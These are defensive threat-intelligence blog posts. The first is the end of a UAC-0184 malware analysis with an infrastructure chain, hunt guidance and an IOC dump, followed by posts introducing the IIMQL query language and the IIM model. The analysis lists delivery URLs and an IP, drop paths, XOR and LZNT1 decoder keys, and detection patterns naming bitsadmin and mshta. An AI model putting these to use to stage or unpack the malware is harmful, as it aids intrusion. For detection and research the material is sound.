      "value": "Plane9Engine.dll",
      "x_legitimate_software": "Plane9"
    },
    {
      "id": "e_openvr",
      "type": "file",
      "value": "openvr_api.dll",
      "x_sha256": "df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7"
    },
    {
      "id": "e_kernel",
      "type": "file",
      "value": "kernel-diag.lib",
      "x_sha256": "dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3",
      "x_decoder": "DWORD-add, offset 0x24D1, size 6160, key 0x213AB052"
    },
    {
      "id": "e_evr",
      "type": "file",
      "value": "evr.dll decoded stage",
      "evidence": [
        "Decoded from kernel-diag.lib",
        "Entry point 0xED0"
      ]
    },
    {
      "id": "e_filter",
      "type": "file",
      "value": "filter.bin",
      "x_sha256": "f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372",
      "x_format": "Noise prefix plus PNG-like IDAT and IEND chunk sequence without PNG magic",
      "x_decoder": "Concatenate IDAT data, DWORD XOR 0x227E9BDE, skip 16 bytes, decompress LZNT1"
    },
    {
      "id": "e_bundle",
      "type": "file",
      "value": "filter.bin decoded LZNT1 payload bundle",
      "x_size_bytes": 2017635,
      "x_first_mz_offset": "0x4F0"
    },
    {
      "id": "e_vslauncher",
      "type": "file",
      "value": "VSLauncher.exe",
      "x_path": "%windir%\\SysWOW64\\VSLauncher.exe",
      "x_publisher": "Microsoft",
      "x_role_note": "Signed sideload host"
    },
    {
      "id": "e_input",
      "type": "file",
      "value": "input.dll",
      "x_path": "%windir%\\SysWOW64\\input.dll",
      "x_sha256": "b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb",
      "x_product": "PassMark Endpoint",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "id": "e_multicast",
      "type": "ip",
      "value": "224.0.0.255",
      "x_port": 31339,
      "x_protocol": "udp",
      "x_marker": "MSG_EPFIND"
    },
    {
      "id": "e_controller",
      "type": "ip",
      "value": "internal peer/controller",
      "x_port": 31339,
      "x_protocol": "tcp",
      "x_placeholder": true
    }
  ],
  "chain": [
    {
      "entity_id": "e_lure_lnk",
      "role": "entry",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_hta_set",
      "role": "entry",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "techniques": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021"
      ],
      "role_confidence": "likely",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_zip",
      "role": "staging",
      "techniques": [
        "IIM-T024",
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely"
    },
    {
      "entity_id": "e_cluster",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_plane9",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_openvr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "review_notes": "Loader DLL. DLL sideloading itself maps to ATT&CK, not IIM."
    },
    {
      "entity_id": "e_kernel",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_evr",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_filter",
      "role": "staging",
      "techniques": [
        "IIM-T025"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "needs_review": true,
      "review_notes": "Pseudo-PNG local staging is a strong structural signal, but the current catalog has no exact official technique for this file-format abuse."
    },
    {
      "entity_id": "e_bundle",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed"
    },
    {
      "entity_id": "e_vslauncher",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely"
    },
    {
      "entity_id": "e_input",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "x_candidate_technique": "Signed third-party network stack reuse"
    },
    {
      "entity_id": "e_multicast",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true
    },
    {
      "entity_id": "e_controller",
      "role": "c2",
      "techniques": [],
      "role_confidence": "tentative",
      "needs_review": true,
      "review_notes": "No hardcoded external C2 found. Internal peer/controller remains a hypothesis."
    }
  ],
  "relations": [
    {
      "from": "e_lure_lnk",
      "to": "e_hta_set",
      "type": "references",
      "sequence_order": 1,
      "confidence": "likely"
    },
    {
      "from": "e_hta_set",
      "to": "e_delivery_ip",
      "type": "connect",
      "sequence_order": 2,
      "confidence": "confirmed"
    },
    {
      "from": "e_delivery_ip",
      "to": "e_zip",
      "type": "download",
      "sequence_order": 3,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_cluster",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_plane9",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_openvr",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_kernel",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_zip",
      "to": "e_filter",
      "type": "drops",
      "sequence_order": 4,
      "confidence": "confirmed"
    },
    {
      "from": "e_cluster",
      "to": "e_plane9",
      "type": "execute",
      "sequence_order": 5,
      "confidence": "likely"
    },
    {
      "from": "e_plane9",
      "to": "e_openvr",
      "type": "references",
      "sequence_order": 6,
      "confidence": "likely"
    },
    {
      "from": "e_openvr",
      "to": "e_kernel",
      "type": "references",
      "sequence_order": 7,
      "confidence": "confirmed"
    },
    {
      "from": "e_kernel",
      "to": "e_evr",
      "type": "drops",
      "sequence_order": 8,
      "confidence": "confirmed"
    },
    {
      "from": "e_evr",
      "to": "e_filter",
      "type": "references",
      "sequence_order": 9,
      "confidence": "confirmed"
    },
    {
      "from": "e_filter",
      "to": "e_bundle",
      "type": "drops",
      "sequence_order": 10,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
      "to": "e_vslauncher",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_bundle",
      "to": "e_input",
      "type": "drops",
      "sequence_order": 11,
      "confidence": "confirmed"
    },
    {
      "from": "e_vslauncher",
      "to": "e_input",
      "type": "execute",
      "sequence_order": 12,
      "confidence": "likely"
    },
    {
      "from": "e_input",
      "to": "e_multicast",
      "type": "communicates-with",
      "sequence_order": 13,
      "confidence": "confirmed"
    },
    {
      "from": "e_multicast",
      "to": "e_controller",
      "type": "communicates-with",
      "sequence_order": 14,
      "confidence": "tentative"
    },
    {
      "from": "e_input",
      "to": "e_controller",
      "type": "connect",
      "sequence_order": 15,
      "confidence": "tentative"
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1197",
      "name": "BITS Jobs",
      "comment": "bitsadmin-style transfer behavior in the initial chain."
    },
    {
      "technique_id": "T1218.005",
      "name": "Mshta",
      "comment": "HTA execution path through mshta.exe."
    },
    {
      "technique_id": "T1574.001",
      "name": "DLL Search Order Hijacking",
      "comment": "Plane9 and VSLauncher sideloading paths."
    },
    {
      "technique_id": "T1027",
      "name": "Obfuscated Files or Information",
      "comment": "Encoded blobs, pseudo-PNG IDAT staging, XOR and LZNT1 layers."
    },
    {
      "technique_id": "T1105",
      "name": "Ingress Tool Transfer",
      "comment": "Payload archive retrieval from delivery infrastructure."
    }
  ]
}

Chain Visualization:

The simplified chain looks like this:

entry      Ukraine-themed LNK lure
entry      gated HTA set on 169.40.135.35
staging    dctrprraclus.zip
staging    Plane9 host plus openvr_api.dll loader
staging    kernel-diag.lib decoded to evr.dll
staging    filter.bin pseudo-PNG IDAT structure
payload    decoded LZNT1 bundle
payload    VSLauncher.exe plus PassMark input.dll
c2         224.0.0.255:31339 UDP discovery
c2         possible internal peer/controller, tentative

The useful structural pattern is not the hash of filter.bin.

The useful pattern is this:

(:entry {gated})
  -> (:staging {archive})
  -> (:staging {legitimate host and side-loaded loader})
  -> (:staging {encoded local blob})
  -> (:staging {pseudo-file-format container})
  -> (:payload {signed utility stack})
  -> (:c2 {local discovery or internal control, tentative})

Defensive playbook

Enough attacker-side fun. Here is the defensive part.

Network signals, high confidence

Look for UDP traffic to:

224.0.0.255:31339

from hosts where PassMark BurnInTest should not be installed.

The discovery packets contain MSG_EPFIND in cleartext and can be fingerprinted on the wire.

Also hunt for TCP traffic on:

31339/tcp

between internal hosts where there is no legitimate PassMark deployment.
If this appears in your network and IT did not set up BurnInTest, investigate.
Also look for HTTP fetches against bare IPs with no hostname and bitsadmin-style user agents.

Process and host signals

VSLauncher.exe running outside a normal Visual Studio path is suspicious, especially if the working directory contains input.dll.

The path %windir%\SysWOW64\ is particularly relevant for this campaign.

Watch for MiniDumpWriteDump calls from a VSLauncher.exe process. That should be ETW-visible with reasonable telemetry. There is no normal reason for Visual Studio Version Selector to dump process memory in this context.

Watch for Plane9 or Cluster-Overlay64.exe execution from non-user-installed paths, for example:

%APPDATA%\ApplicationData32\

Plane9 is an audio visualizer. If it appears from a weird application data directory as part of a staged loader chain, that is not your user’s sudden love for generative music visuals.

File creation events of interest:

%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe
Initial access signals

Look for LNK files with command-line arguments containing:

bitsadmin /transfer
mshta.exe

Especially when paired with temporary-looking filename patterns such as ~tmp(...).
Also hunt for HTTP fetches of HTA files from bare-IP infrastructure, such as:

169.40.135.35

The observed HTAs all point to dctrprraclus.zip as the payload archive.

IOC dump

SHA-256
kernel-diag.lib
dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3
filter.bin
f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372
openvr_api.dll
df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7
input.dll
b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 SqlExpChk
33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

Network
hxxp://169.40.135.35/dctrpr/slippersuppity.hta
hxxp://169.40.135.35/dctrpr/basketpast.hta
hxxp://169.40.135.35/dctrpr/agentdiesel.hta
hxxp://169.40.135.35/dctrprraclus.zip
224.0.0.255:31339 UDP PassMark multicast, repurposed
31339/tcp BurnInTest data channel, repurposed

On-disk paths
%APPDATA%\ApplicationData32\Cluster-Overlay64.exe
%APPDATA%\ApplicationData32\openvr_api.dll
%APPDATA%\ApplicationData32\filter.bin
%APPDATA%\ApplicationData32\kernel-diag.lib
%windir%\SysWOW64\input.dll
%windir%\SysWOW64\VSLauncher.exe

Pipeline keys
kernel-diag.lib decoder:
DWORD-add, offset 0x24D1, size 6160, key 0x213AB052
filter.bin IDAT XOR key:
0x227E9BDE, DWORD-wise XOR
filter.bin post-XOR:
skip 16-byte header, then LZNT1 using RtlDecompressBuffer format

What remains open

One thing still bothers me: the source of the %y substitution value.

There are two good next steps:

  1. Dynamic detonation in a sandboxed LAN with a fake PassMark Endpoint peer on 224.0.0.255:31339, to see whether the dropper picks a controller address from the multicast reply.
  2. Manual disassembly of the openvr_api.dll exports VR_InitInternal and LiquidVR, where the real loader logic lives.
    The malicious code that builds the context structure passed to evr.dll likely sits there and the value that fills %y is probably set before the shellcode runs.

Both are doable, but this post is already longer than usual.
If one of those paths gives a clean answer, that belongs in a follow-up.

Final words

So, that is the UAC-0184 chain from LNK to bitsadmin and HTA, into a DLL sideloading setup, through two staged decoders, then into a signed Microsoft and Sectigo-backed utility stack that appears to borrow its own network layer.

The most important finding is not a single hash and not a single URL.

It is the structure:

  • gated HTA delivery
  • archive-based staging
  • legitimate software as execution cover
  • encoded local blobs
  • PNG chunk abuse without a real PNG header
  • DWORD XOR plus LZNT1 decoding
  • signed PassMark network functionality repurposed as cover
  • no static external C2 in the analyzed artifacts

That is the part worth tracking.

As always, if you want to go through the sample yourself, the hashes are above.
And if someone finds the %y source before I do, please ping me through the usual channels.
I would actually like to know 🙂

IIMQL – The Query Language for Adversary Infrastructure (4/7)

by Robin Dost
Part 4 of 7 of building the Malwarebox Ecosystem
Website: https://iimql.malwarebox.eu
GitHub: https://github.com/MalwareboxEU/IIMQL


In the previous part, I introduced IIM, the Infrastructure Intelligence Model.

Click for the short version
IOCs tell you what existed
ATT&CK tells you what adversaries do on endpoints
IIM describes how adversary infrastructure is composed

Entry points, redirectors, staging hosts, payload locations, C2 endpoints, relations between them, techniques attached to infrastructure roles, patterns abstracted from concrete observations

Basically the stuff that is usually buried inside analyst prose, screenshots, PDF diagrams and “we saw this kind of redirect chain again” comments

IIM gives that layer a structure

But once you have a structure, the next obvious question is:

How do you search it?

Because describing one chain is nice.
Describing ten chains is useful.
Describing a few thousand chains and then manually scrolling through JSON like a threat intelligence raccoon in a dumpster is not a workflow.

That is where IIMQL comes in.

IIMQL is the query language for the Infrastructure Intelligence Model.
It is built to search, filter and correlate IIM chains, roles, entities, relations and structural patterns in a way that actually fits the model.

IIMQL is for questions like:

  • Show me every chain where a staging artifact drops a payload that connects to a C2.
  • Show me every actor using dynamic DNS in the C2 role.
  • Show me every chain where the entry point flows into a redirector before reaching a payload.
  • Show me every payload that connects to infrastructure annotated with a specific IIM technique.
  • Show me every infrastructure chain that looks like this shape, even if every domain, IP and hash changed.

That last part is the whole point.

IOC feeds let you ask: Is this domain bad?
IIMQL lets you ask: Have I seen this operational shape before?
That is a very different question.

And frankly, it is the question we should have been asking more often.

06query the corpus

IIMQL.

v1.0 · open stdlib-only embed anywhere

When you have thousands of chains, patterns, and actor profiles, yours plus federated feeds, the interesting questions are structural. IIMQL turns them into one-liners.

Grammar
Cypher-style graph patterns for structure. SQL-style filters for attributes. Both in one query.
Three modes
CLI on local chains. Embedded in Kraken as pivot surface. Library in third-party tools.
Stable
v1.0 queries still run on later versions. Extensions without breakage.
# every c2 using fast-flux or dga MATCH position WHERE role = “c2” AND (techniques HAS “IIM-T007” OR techniques HAS “IIM-T009”) RETURN chain.actor_id, entity.value
MB-0001    c2.duckdns.org
MB-0002    telemetry-edge.net
MB-0008    qz3kdme9wpx.com

Why a query language?

IIMs whole pitch is that adversary infrastructure is structural.

  • A campaign chain is not just a bag of domains, it is a directed graph.
  • An entry point references or downloads a staging artifact.
  • A staging artifact drops or executes a payload.
  • The payload connects to a C2.
  • A redirector may sit in between.
  • A dead-drop resolver may point to the final endpoint.
  • DNS may rotate.
  • Hosting may rotate.
  • The operator may burn the entire surface tomorrow and rebuild it with new artifacts.

The structure often survives.
And if the structure survives, you should be able to query it.
That sounds obvious, but in practice threat intelligence tooling often stops right before that point.

  • We can store indicators.
  • We can tag indicators.
  • We can enrich indicators.
  • We can export indicators.
  • We can re-import the same indicators into another tool and pretend that interoperability happened.

But asking structural questions across infrastructure chains is still weirdly painful.

You either write custom Python, use a graph database directly, abuse a SIEM query language that was never designed for this, or convert the whole thing into a generic graph model and lose the IIM semantics on the way.

IIMQL avoids that.

  • It is small on purpose.
  • It speaks IIM directly.
  • It does not try to become a general purpose graph query language.

IIMQL has one job:

Ask useful questions against IIM data.

The basic shape

Every IIMQL query follows a simple idea:

MATCH what you care about
WHERE the conditions are true
RETURN the fields you want back

For example:

MATCH chain

That returns chains.

MATCH chain WHERE actor_id = "MB-0001"

That returns chains attributed to a specific actor ID.

MATCH position WHERE role = "c2"

That returns positions where an entity plays the C2 role.

MATCH entity WHERE type = "domain" AND value =~ /duckdns/

That returns domain entities matching a regex.

MATCH relation WHERE type = "drops"

That returns relations where one artifact drops another.

Nothing exotic.
Nothing that requires a PhD in graph theory or three tabs of vendor documentation.

The interesting part starts when you query shapes.

Structural matching

IIM chains are directed graphs.

So IIMQL supports graph style matching for chain shapes.

Example:

MATCH (:entry)-->(:staging)-->(:payload)-->(:c2)

That asks for chains where an entry position flows into staging, then payload, then C2.

You can make it stricter by requiring relation types:

MATCH (:entry)-[:download]->(:staging)-[:drops]->(:payload)-[:connect]->(:c2)

Now the shape is not just role order.

It also requires a download relation, then a drops relation, then a connect relation.

That matters.

Because “entry to staging to payload to C2” is a useful broad shape.

But “entry downloads staging, staging drops payload, payload connects to C2” is much closer to an operational flow.

IIMQL lets you move between those levels without losing the model.

You can also use aliases:

MATCH (e:entry)-->(s:staging)
WHERE e.techniques HAS "IIM-T019"
RETURN chain.chain_id, s.entity.value

This asks for chains where an entry position with a specific IIM technique flows into staging, then returns the chain ID and the staging entity value.

That is the kind of query I wanted IIMQL to make boring.

Because this should be boring.

Analysts should not need to write custom scripts for every question that is structurally obvious once the data is modeled.

Targets: chain, position, entity, relation and graph shapes

IIMQL can query different levels of the model.

MATCH chain is for top-level chain metadata.

Useful for actor IDs, confidence, observed timestamps, review flags, imported sources and general filtering.

MATCH position is for role assignments.

This is where you ask things like:

  • Which entities acted as C2?
  • Which positions carry IIM-T008?
  • Which staging roles are still tentative?
  • Which payload positions appear in confirmed chains?

MATCH entity is for raw artifacts.

Domains, IPs, URLs, files, hashes, emails, certificates, ASNs.

This is the closest IIMQL gets to a classic IOC workflow, but with one important difference:
Entities can still be returned with chain and position context.

A domain is not just a domain.
It may be a redirector in one chain and C2 in another.
That distinction matters.

MATCH relation is for edges.

Download, redirect, drops, execute, connect, resolves-to, references, communicates-with.

This lets you ask questions about how infrastructure pieces interact, not just what they are.
And graph patterns are for the good stuff.
The operational shapes.
The part that survives rotation.

Field filtering

IIMQL supports the basic operators you would expect.

Equality:

role = "c2"

Inequality:

role != "entry"

Ordering:

sequence_order > 2

Regex:

value =~ /\.duckdns\.org$/

Array membership:

techniques HAS "IIM-T008"

Substring matching:

value CONTAINS ".example"

Set membership:

confidence IN ["confirmed", "likely"]

Boolean logic:

role = "c2" AND NOT needs_review = true

Again, boring by design.

My point is not to be clever, my point is to be precise 🙂

Example: finding fast-flux or DGA C2

Let’s say you have a corpus of IIM chains and want to find C2 positions that carry either Fast-Flux DNS or DGA technique annotations.

In IIMQL, that becomes:

MATCH position
WHERE role = "c2"
  AND (techniques HAS "IIM-T007" OR techniques HAS "IIM-T009")
RETURN chain.chain_id, chain.actor_id, entity.value, techniques

That is the difference between “I have data” and “I can ask operational questions against my data”.

The query is not looking for a known bad IP.
It is looking for a role in a chain with specific infrastructure behavior.

That is a completely different analytical layer.
And it maps directly to IIM’s purpose.

IIM technique IDs describe infrastructure behavior, not endpoint behavior.
So when you query for IIM-T007 or IIM-T009, you are not asking “which malware family is this”, you are asking “which infrastructure role carries this property”.

That makes the result usable for clustering, detection engineering, reporting and pattern abstraction.

Example: finding a known operational tail

Another simple query:

MATCH (s:staging)-->(p:payload)-->(c:c2)
RETURN chain.chain_id, p.entity.value, c.entity.value

This finds chains where staging flows into payload and payload flows into C2.’
That tail is common in real operations.
The concrete filenames, domains and IPs can all change.
The chain shape stays useful.

And if you want to be stricter:

MATCH (:staging)-->(:payload)-[:connect]->(:c2)

Now the payload must connect to the C2 through a connect relation.

This is where IIMQL becomes more than a filter language:
It lets you treat adversary infrastructure like a structured system.
Not a spreadsheet, not a blocklist, not a pile of JSON.
A system.

Why this matters for Malwarebox

IIMQL is part of the same larger idea as IIM, ACDP and Kraken.

Kraken
backbone · observation graph
IIM
infrastructure vocabulary
Roles, relations, chains, patterns. Structural threat infrastructure as a shared model.
v1.1
IIMQL
query vocabulary
Cypher-style structure plus SQL-style filters across chains and patterns.
v1.0
ACDP
priority layer
Transparent actor-centric scoring built from structural observations.
v1.0
observe in Kraken · structure with IIM · query with IIMQL · prioritize with ACDP

  • IIM gives adversary infrastructure a grammar.
  • ACDP gives prioritization a methodology.
  • Kraken is the working environment where actor infrastructure is tracked as a living graph.
  • IIMQL is the thing that lets you ask questions across that graph without hardcoding the question into the platform.

You can publish patterns all day, but if another organization cannot match those patterns against their own chains, the value stays mostly theoretical.
IIMQL is the bridge between “we have a structural model” and “we can actually operationalize this”.

The long-term goal is a European CTI ecosystem that can track, model, query and share infrastructure intelligence without depending entirely on US vendor platforms, closed enrichment systems or PDF-based trust rituals from 2012.
But more about this in the next part of this series.

Federation needs queryability

In the IIM article I described the federation idea:

Org A observes a campaign.
Org A builds an IIM chain.
Org A abstracts it into a pattern.

Org B receives the pattern.
Org B matches it against their own observations.

The concrete domains, IPs and hashes may be completely different.
The structure still matches.

That is the whole “patterns instead of indicators” argument.
But for that to work at scale, you need queryability.

You need to be able to ask:

  • Which of my chains match this shape?
  • Which actor patterns overlap with my new observations?
  • Which chains contain a redirector before payload delivery?
  • Which C2 roles use the same infrastructure techniques across different campaigns?
  • Which chains are confirmed and which are still tentative?
  • Which entities are volatile artifacts and which structural roles keep reappearing?

Without a query layer, every participant in a federation has to reinvent the matching logic locally.

The query language is not just a convenience feature, it is part of making IIM usable as a shared analytical layer.

Local first, no runtime dependency circus

IIMQL is implemented in Python and currently has no runtime dependencies beyond the standard library.

That is intentional.

I do not want a query language for CTI data that needs half of PyPI, a Java service, an Elasticsearch cluster, a graph database and a deployment diagram that looks like a hostage situation.

You can install it locally:

git clone https://github.com/Mr128Bit/IIMQL
cd IIMQL
pip install -e .

Then run queries from the CLI:

iimql 'MATCH position WHERE role = "c2"' examples/chains/

You can query from a file:

iimql -f examples/05-fast-flux-c2.iimql examples/chains/

You can return JSON:

iimql --format json 'MATCH entity WHERE type = "domain"' examples/chains/

You can count matches:

iimql --count 'MATCH (:entry)-->(:payload)' examples/chains/

You can pipe chains in:

cat examples/chains/*.json | iimql 'MATCH chain WHERE actor_id = "MB-0001"'

And you can use it as a Python library:

from iimql import parse, execute, load_paths, query_chains

docs = load_paths(["examples/chains/"])

q = parse('MATCH position WHERE role = "c2" AND techniques HAS "IIM-T008"')

for row in execute(q, docs.chains):
    print(row["chain"]["chain_id"], row["entity"]["value"])

That makes it easy to drop into existing SOC tooling, research notebooks, enrichment scripts, internal CTI pipelines or whatever other questionable Python folder has been running in production since 2019.

No judgement ^^

What IIMQL is not

IIMQL is not a replacement for SQL.

If your data is relational, use SQL.

IIMQL is not a replacement for Cypher.

If you already have a graph database and want general graph traversal, Cypher is mature and extremely good at that.

IIMQL is not a replacement for STIX Patterning.

STIX Patterning is for matching cyber observable patterns in STIX data.

IIMQL is not a detection language like Sigma or YARA.

It does not match logs or files.

It matches IIM documents.

IIMQL is also not an extension of the IIM specification.

IIMQL consumes IIM data.

It does not define new roles.

It does not define new relation types.

It does not define new technique vocabularies.

The model stays the model & The query layer queries the model.

That separation matters because otherwise every tool starts quietly changing the standard it claims to implement.

And that is how “interoperability” becomes a PowerPoint word.

Current limitations

IIMQL is still early.

The current version is intentionally small and there are limits.
No variable-length paths yet.

So this:

MATCH (:entry)-->(:payload)

means a direct edge.

It does not magically skip everything in between.
That is deliberate for the first cut because structural matching should be predictable before it becomes flexible.
No aggregation yet.

So no GROUP BYCOUNT by fieldDISTINCT style reporting or sorting in the first implementation.

  • No joins across chains yet.
  • No MATCH pattern yet.

Patterns and feeds can be loaded, but queries currently run against chains.

Technique confidence and role confidence are readable, but there is no nice syntax sugar yet for questions like “show me chains where any position has tentative confidence”.

That will come later.

I would rather ship a small query language that behaves correctly than a big one that lies confidently.

Threat intelligence already has enough of that.

The design principle

The design principle behind IIMQL is simple:

Make structural infrastructure questions cheap.

  • If an analyst sees a pattern in one campaign, they should be able to ask for that pattern across the corpus without writing a new parser.
  • If a defender wants to find C2 roles using a specific infrastructure technique, that should be one query.
  • If a researcher wants to compare actor tradecraft across rotations, they should not have to manually diff IOC lists.
  • If a European public-sector team wants to exchange patterns without exposing victim-specific artifacts, they should be able to match those patterns locally against their own observations.

IIMQL is small, but it sits directly in that problem space.
It gives IIM data a usable query surface.

That is necessary if IIM is supposed to be more than a schema.

Why this belongs in the Malwarebox ecosystem

Malwarebox is slowly becoming a stack.

The direction is clear

The public frameworks stay open because they need review, adoption and criticism.
The private lab stays private where sensitive actor tracking and unfinished research can mature before it becomes public methodology.

That split is intentional.

Open frameworks need a place where mistakes are cheap.
Closed platforms need open interfaces if they are supposed to matter beyond one installation.

IIMQL is one of those interfaces.

It gives the open model a practical way to be used outside Kraken.
That matters because I do not want IIM to become “the format Kraken uses”.

That would be boring and useless.

IIM should be usable by researchers, SOC teams, CERTs, public-sector defenders, vendors, open-source projects and internal tooling.
IIMQL helps with that because it makes the data searchable without requiring the whole Malwarebox stack.

  • Install the tool
  • Load chains
  • Run queries
  • Break it

Tell me what is wrong.

That is a healthier path than pretending the first version is perfect because the logo looks official.

A small example of the bigger picture

Take a campaign where the concrete infrastructure rotates every few days.

  • New domain
  • New IP
  • New payload hash
  • New redirector
  • Same operator logic

Classic IOC tracking sees change everywhere

IIM sees the chain:

entry
to staging
to payload
to dead-drop resolver
to dynamic DNS
to C2

IIMQL lets you ask for that shape:

MATCH (:entry)-->(:staging)-->(:payload)-->(:redirector)-->(:c2)

Or stricter:

MATCH (:entry)-[:download]->(:staging)-[:drops]->(:payload)-[:connect]->(:redirector)-[:resolves-to]->(:c2)

Then you can filter:

WHERE chain.confidence IN ["confirmed", "likely"]

And return what matters:

RETURN chain.chain_id, chain.actor_id, c.entity.value

That is the difference.

You are no longer asking whether one artifact is bad.
You are asking whether an operation behaves like something you already understand.

That is where infrastructure intelligence becomes more than indicator management.

Where do I find chains to query?

You can create your own chains or watch my IIM Feed Repository.
There's already some chains and patterns in there, but i'll continue to upload more in the future.
If you have patterns & chains you want to contribute, feel free to reach out or create a push request.

License

IIMQL is published under the Apache License 2.0.

Keep the license notice and attribution intact.

  • Build with it
  • Ship with it
  • Break it properly

Next

Part five will pull the ecosystem together.

Kraken, IIM, IIMQL, ACDP and the broader Malwarebox direction.

As one loop:

  • Observe infrastructure
  • Model the chain
  • Query the structure
  • Prioritize defensively
  • Feed the lessons back into the model

That is the actual point of the ecosystem.

Not collecting more data.
Everyone has more data.
The point is making adversary infrastructure understandable, comparable and queryable in a way that survives rotation.
And if that can help push a more independent European CTI ecosystem into existence, even better.

For now:

  • Read the IIM article
  • Try IIMQL
  • Run it against the examples
  • Write ugly queries
  • Find the weird edge cases
  • Open issues

That is how this gets better.


IIM Websitehttps://iim.malwarebox.eu
IIMQL Websitehttps://iimql.malwarebox.eu
PyPIComing soon
GitHub IIMhttps://github.com/MalwareboxEU/IIM
GitHub IIMQLhttps://github.com/MalwareboxEU/IIMQL
Malwarebox IIM Feed (Updated Weekly)https://github.com/MalwareboxEU/IIM-Feed

IIM – The Grammar of Adversary Infrastructure (3/7)

by Robin Dost

Part 3 of 7 of building the Malwarebox Ecosystem
Official Website: https://iim.malwarebox.eu
GitHub: https://github.com/MalwareboxEU/IIM

EDIT: I released part 4 / 7 “IIMQL – The Query Language for Adversary Infrastructure (4/7)

Threat intelligence has a small problem.

We have more data than ever. Blocklists with millions of entries. Feeds that refresh every thirty seconds. Vendors that will happily sell you a TAXII endpoint streaming 200 indicators per minute, all guaranteed to be expired by the time your SIEM finishes ingesting them.

And somehow, with all this data, we still don’t really know what we’re looking at.

That’s not a tooling problem. It’s a structure problem. After enough time staring at infrastructure rotations from groups like Gamaredon and concluding that “shift everything daily” is in fact a coherent strategy when nobody has the language to describe what’s actually shifting, I decided to try and fix it.

This is part 3 of 7 on the Malwarebox ecosystem. We’re starting today with IIM, the Infrastructure Intelligence Model. Part 4 will cover IIMQL, the query language built on top of it. Part 5 will tie the whole thing together. ACDP already has its own write-up, so I’m leaving it out here.

Two pillars and a hole

Classical threat intelligence rests on two pillars.

On one side: IOCs. Domains, IPs, hashes. Concrete, actionable and useful for roughly the time it takes an attacker to spin up a new Cloudflare Worker. The half-life of a C2 domain in 2026 is somewhere between “a coffee” and “a long lunch.”
Blocklists describe what existed and not what will exist tomorrow.

On the other side: MITRE ATT&CK®. A genuinely good behavioral framework.
Stable, well-maintained, internationally adopted.
Tells you what adversaries do on endpoints, process injection, credential dumping, lateral movement.

What ATT&CK very deliberately does not tell you is anything about infrastructure.
Hosting, routing, resolution, gating, none of it lives in the model. That’s by design.
ATT&CK was never meant to describe how a phishing redirect chain is composed.

So here’s the picture:

On one side, you have millions of indicators that go stale before lunch.
On the other side, you have a few hundred techniques describing adversary behavior, mostly from the endpoint perspective.
And in between sits the operational reality of how a campaign is actually delivered, routed, staged, resolved, gated and defended.
That layer is still mostly captured in analyst writeups, vendor reports and free-form descriptions.

  • There are standards for exchanging threat intelligence
  • There are frameworks for describing adversary behavior
  • There are platforms for storing indicators

But there is no widely adopted, infrastructure-focused model for describing the logic of a delivery chain itself.

  • There are standards for exchanging threat intelligence.
  • There are frameworks for describing adversary behavior.
  • There are platforms for storing indicators.

But

  • No shared vocabulary for saying what role a host plays
  • No consistent way to distinguish an entry point from a redirector, a staging host, a payload location or a C2 endpoint
  • No clean structure for expressing how those pieces relate to each other over time

So the same patterns keep reappearing in analyst notes, vendor whitepapers and PDF reports, just described with slightly different words.

Adversaries operate as systems.

We have been treating those systems as events too much imo.

What “infrastructure” actually means

Quick definition. Because everyone in TI uses “infrastructure” to mean something slightly different and that’s part of the problem.

When I say infrastructure, I mean everything between the adversary and the click:

  • Where things are hosted
  • How DNS resolves
  • How traffic is routed
  • Who is allowed to reach which node
  • How the chain is composed and ordered

This is the layer that survives a sample being detonated, a hash being burned, an IOC list being published. The specific URL changes weekly.
The fact that there is a Cloudflare Worker in front of an HTA-dropping nginx behind a domain that resolves through RegRU, that pattern often survives.

